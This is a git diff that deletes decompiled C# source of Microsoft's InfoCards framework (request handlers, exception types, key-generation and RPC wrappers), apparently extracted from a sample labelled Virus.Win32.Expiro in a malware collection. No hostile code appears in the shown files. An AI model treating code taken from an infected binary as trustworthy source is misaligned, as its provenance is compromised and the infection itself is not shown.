class ListCardsInFileRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private RoamingStoreFile m_roamingFile; - private string m_filename; - private string m_passphrase; - - public ListCardsInFileRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.m_roamingFile = new RoamingStoreFile(); - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_filename = Utility.DeserializeString(reader); - this.m_passphrase = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - this.Cleanup(false, true); - try - { - try - { - using (FileStream fileStream = new FileStream(this.m_filename, FileMode.Open, FileAccess.Read, FileShare.Read)) - { - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - defaultReaderSettings.IgnoreWhitespace = false; - using (XmlReader reader = InfoCardSchemas.CreateReader((Stream) fileStream, defaultReaderSettings)) - { - this.m_roamingFile.ReadFrom(this.m_passphrase, reader); - this.ParentRequest.SetContext(this.m_roamingFile); - } - } - } - catch (ImportException ex) - { - throw; - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PasswordValidationException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - } - catch (ImportException ex) - { - this.Cleanup(false, true); - throw InfoCardTrace.ThrowHelperError((Exception) new ImportStoreException(ex.Message)); - } - finally - { - this.Cleanup(true, false); - } - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - BinaryWriter binaryWriter = new BinaryWriter(outArgs); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - if (this.m_roamingFile != null) - { - if (this.m_roamingFile.Cards.Count != 0) - { - try - { - binaryWriter.Write(this.m_roamingFile.Cards.Count); - for (int index = 0; index < this.m_roamingFile.Cards.Count; ++index) - { - binaryWriter.Flush(); - this.m_roamingFile.Cards[index].AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - return; - } - catch (Exception ex) - { - this.Cleanup(true, true); - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportStoreException(SR.GetString("InvalidImportFile"), ex)); - throw; - } - } - } - binaryWriter.Write(0); - } - finally - { - connection.Close(); - } - } - - private void Cleanup(bool clearPwd, bool clearRoamingFile) - { - if (clearRoamingFile) - { - if (this.m_roamingFile != null) - this.m_roamingFile.Clear(); - if (this.ParentRequest != null) - this.ParentRequest.ClearContext(); - } - if (!clearPwd) - return; - this.m_passphrase = (string) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ListDependantCardsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ListDependantCardsRequest.cs deleted file mode 100644 index 75971f88..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ListDependantCardsRequest.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ListDependantCardsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class ListDependantCardsRequest : UIAgentRequest - { - private Uri m_selfIssuedCardId; - private List m_allCards = new List(); - - public ListDependantCardsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_selfIssuedCardId = new Uri(Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode))); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - IList dataRowList = (IList) connection.Query(QueryDetails.FullRow, connection.LocalDataSource, new QueryParameter("ix_supportauth", new object[1] - { - (object) 2 - })); - if (dataRowList == null || dataRowList.Count == 0) - return; - for (int index = 0; index < dataRowList.Count; ++index) - { - byte[] dataField = dataRowList[index].GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - { - InfoCard infoCard = new InfoCard((Stream) memoryStream); - foreach (TokenCreationParameter creationParameter in infoCard.CreationParameters) - { - if (creationParameter.CredentialType == TokenFactoryCredentialType.SelfIssuedCredential && Utility.CompareByteArrays(Convert.FromBase64String(creationParameter.CredentialSelectors[CredentialSelectorType.SelfIssuedCardIdSelector].GetStringWithoutNullTerminator()), Utility.CreateHash(infoCard.IssuerIdentifierAsBytes, this.m_selfIssuedCardId))) - this.m_allCards.Add(infoCard); - } - } - } - finally - { - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - if (this.m_allCards != null) - { - writer.Write(this.m_allCards.Count); - foreach (InfoCard allCard in this.m_allCards) - Utility.SerializeUri(writer, allCard.Id); - } - else - writer.Write(0); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LocalIdCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LocalIdCollection.cs deleted file mode 100644 index 5a24d77a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LocalIdCollection.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LocalIdCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class LocalIdCollection - { - private SortedList m_inner; - - public LocalIdCollection() => this.m_inner = new SortedList(); - - public void Add(int item) - { - if (this.m_inner.ContainsKey(item)) - return; - this.m_inner.Add(item, item); - } - - public void Clear() => this.m_inner.Clear(); - - public int Count => this.m_inner.Count; - - public void Filter(LocalIdCollection itemsToKeep) - { - for (int index = this.m_inner.Count - 1; index >= 0; --index) - { - if (!itemsToKeep.m_inner.ContainsKey(this.m_inner.Keys[index])) - this.m_inner.RemoveAt(index); - } - } - - public IList Keys => this.m_inner.Keys; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LogoValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LogoValidationException.cs deleted file mode 100644 index 7a120f15..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/LogoValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LogoValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class LogoValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413879; - - public LogoValidationException() - : base(-1073413879) - { - } - - public LogoValidationException(string message) - : base(-1073413879, message) - { - } - - public LogoValidationException(string message, Exception inner) - : base(-1073413879, message, inner) - { - } - - protected LogoValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413879, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ManageRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ManageRequest.cs deleted file mode 100644 index 30c99dc1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ManageRequest.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ManageRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class ManageRequest : ClientUIRequest - { - public ManageRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs, InfoCardUIAgent.CallMode.Manage, ExceptionList.AllNonFatal) - { - if (0L != inArgs.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceRequestBufferLengthInvalid"))); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - try - { - this.StartAndWaitForUIAgent(); - } - catch (UserCancelledException ex) - { - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/MaxSessionCountExceededException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/MaxSessionCountExceededException.cs deleted file mode 100644 index 7f49ca00..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/MaxSessionCountExceededException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.MaxSessionCountExceededException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class MaxSessionCountExceededException : InfoCardBaseException - { - private const int HRESULT = -1073413865; - - public MaxSessionCountExceededException() - : base(-1073413865) - { - } - - public MaxSessionCountExceededException(string message) - : base(-1073413865, message) - { - } - - public MaxSessionCountExceededException(string message, Exception inner) - : base(-1073413865, message, inner) - { - } - - protected MaxSessionCountExceededException(SerializationInfo si, StreamingContext sc) - : base(-1073413865, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/MergeConflictCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/MergeConflictCallback.cs deleted file mode 100644 index e6fbcfac..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/MergeConflictCallback.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.MergeConflictCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal delegate int MergeConflictCallback(DataRow local, DataRow incomingData); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/NativeMcppMethods.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/NativeMcppMethods.cs deleted file mode 100644 index 6587450b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/NativeMcppMethods.cs +++ /dev/null @@ -1,1186 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.NativeMcppMethods -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using \u003CCppImplementationDetails\u003E; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class NativeMcppMethods - { - private NativeMcppMethods() - { - } - - public static unsafe byte[] X931KeyGenWrapper( - byte[] Xp1ByteArray, - byte[] Xp2ByteArray, - byte[] Xq1ByteArray, - byte[] Xq2ByteArray, - byte[] XpByteArray, - byte[] XqByteArray, - int publicExponent, - ref KeyGenRestartCodes restartCode) - { - byte* numPtr = (byte*) 0; - uint length1 = 0; - byte[] destination = (byte[]) null; - X931_restart_t x931RestartT = (X931_restart_t) 0; - int length2 = Xp1ByteArray.Length; - int length3 = XpByteArray.Length; - \u003CModule\u003E.AssertInternal(true, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040FAPBOFLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 130, false); - \u003CModule\u003E.AssertInternal(length2 == Xp2ByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040BNBJOFNC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 131, false); - \u003CModule\u003E.AssertInternal(length2 == Xq1ByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040PPLFHHPC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 132, false); - \u003CModule\u003E.AssertInternal(length2 == Xq2ByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EI\u0040LCFNHHJF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 133, false); - \u003CModule\u003E.AssertInternal(length3 == XpByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EC\u0040PNPIPOFH\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 134, false); - \u003CModule\u003E.AssertInternal(length3 == XqByteArray.Length, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1EC\u0040HAHAADLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 135, false); - IntPtr num1 = IntPtr.Zero; - IntPtr num2 = IntPtr.Zero; - IntPtr num3 = IntPtr.Zero; - IntPtr num4 = IntPtr.Zero; - IntPtr num5 = IntPtr.Zero; - IntPtr num6 = IntPtr.Zero; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - num1 = Marshal.AllocHGlobal(length2); - num2 = Marshal.AllocHGlobal(length2); - num3 = Marshal.AllocHGlobal(length2); - num4 = Marshal.AllocHGlobal(length2); - num5 = Marshal.AllocHGlobal(length3); - num6 = Marshal.AllocHGlobal(length3); - Marshal.Copy(Xp1ByteArray, 0, num1, length2); - Marshal.Copy(Xp2ByteArray, 0, num2, length2); - Marshal.Copy(Xq1ByteArray, 0, num3, length2); - Marshal.Copy(Xq2ByteArray, 0, num4, length2); - Marshal.Copy(XpByteArray, 0, num5, length3); - Marshal.Copy(XqByteArray, 0, num6, length3); - int error = \u003CModule\u003E.InfoCardKeyGenX931((uint) length2, (byte*) num1.ToPointer(), (byte*) num2.ToPointer(), (byte*) num3.ToPointer(), (byte*) num4.ToPointer(), (uint) length3, (byte*) num5.ToPointer(), (byte*) num6.ToPointer(), (uint) publicExponent, &numPtr, &length1, &x931RestartT); - restartCode = (KeyGenRestartCodes) x931RestartT; - if (0 == error) - { - try - { - if (KeyGenRestartCodes.X931RestartNone == restartCode) - { - \u003CModule\u003E.AssertInternal(0U != length1, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1CE\u0040MDDMNBFC\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024CB\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 194, false); - destination = new byte[(int) length1]; - Marshal.Copy(new IntPtr((void*) numPtr), destination, 0, (int) length1); - } - else - \u003CModule\u003E.AssertInternal(0U == length1, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1CE\u0040EMPLJBMF\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 204, false); - } - finally - { - \u003CModule\u003E.InfoCardKeyGenZeroAndFree(numPtr, length1); - } - return destination; - } - \u003CModule\u003E.AssertInternal(0U == length1, (ushort*) &\u003CModule\u003E.\u003F\u003F_C\u0040_1CE\u0040EMPLJBMF\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040, (sbyte*) &\u003CModule\u003E.\u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040, 219, false); - throw new Win32Exception(error); - } - finally - { - if (IntPtr.Zero != num1) - { - uint num7 = (uint) length2; - sbyte* pointer = (sbyte*) num1.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num7; - } - while (num7 != 0U); - } - Marshal.FreeHGlobal(num1); - } - if (IntPtr.Zero != num2) - { - uint num8 = (uint) length2; - sbyte* pointer = (sbyte*) num2.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num8; - } - while (num8 != 0U); - } - Marshal.FreeHGlobal(num2); - } - if (IntPtr.Zero != num3) - { - uint num9 = (uint) length2; - sbyte* pointer = (sbyte*) num3.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num9; - } - while (num9 != 0U); - } - Marshal.FreeHGlobal(num3); - } - if (IntPtr.Zero != num4) - { - uint num10 = (uint) length2; - sbyte* pointer = (sbyte*) num4.ToPointer(); - if (length2 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num10; - } - while (num10 != 0U); - } - Marshal.FreeHGlobal(num4); - } - if (IntPtr.Zero != num5) - { - uint num11 = (uint) length3; - sbyte* pointer = (sbyte*) num5.ToPointer(); - if (length3 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num11; - } - while (num11 != 0U); - } - Marshal.FreeHGlobal(num5); - } - if (IntPtr.Zero != num6) - { - uint num12 = (uint) length3; - sbyte* pointer = (sbyte*) num6.ToPointer(); - if (length3 != 0) - { - do - { - *pointer = (sbyte) 0; - ++pointer; - --num12; - } - while (num12 != 0U); - } - Marshal.FreeHGlobal(num6); - } - } - } - - public static unsafe uint InfoCardStartRpcServerWrapper( - string uiAgentFullPath, - IntPtr rpcCallbacks) - { - IntPtr hglobal = IntPtr.Zero; - try - { - hglobal = Marshal.StringToHGlobalUni(uiAgentFullPath); - return \u003CModule\u003E.InfoCardStartRpcServer((ushort*) hglobal.ToPointer(), (_RPCCALLBACKS*) rpcCallbacks.ToPointer()); - } - finally - { - if (IntPtr.Zero != hglobal) - { - Marshal.FreeHGlobal(hglobal); - IntPtr zero = IntPtr.Zero; - } - } - } - - public static uint InfoCardStopRpcServerWrapper() => \u003CModule\u003E.InfoCardStopRpcServer(); - - public static uint AdjustPrivilegesWrapper([MarshalAs(UnmanagedType.U1)] bool isTabletPC) => \u003CModule\u003E.AdjustPrivileges(isTabletPC); - - public static unsafe uint CreateAndWaitForFileOpenDialogWrapper( - string arguments, 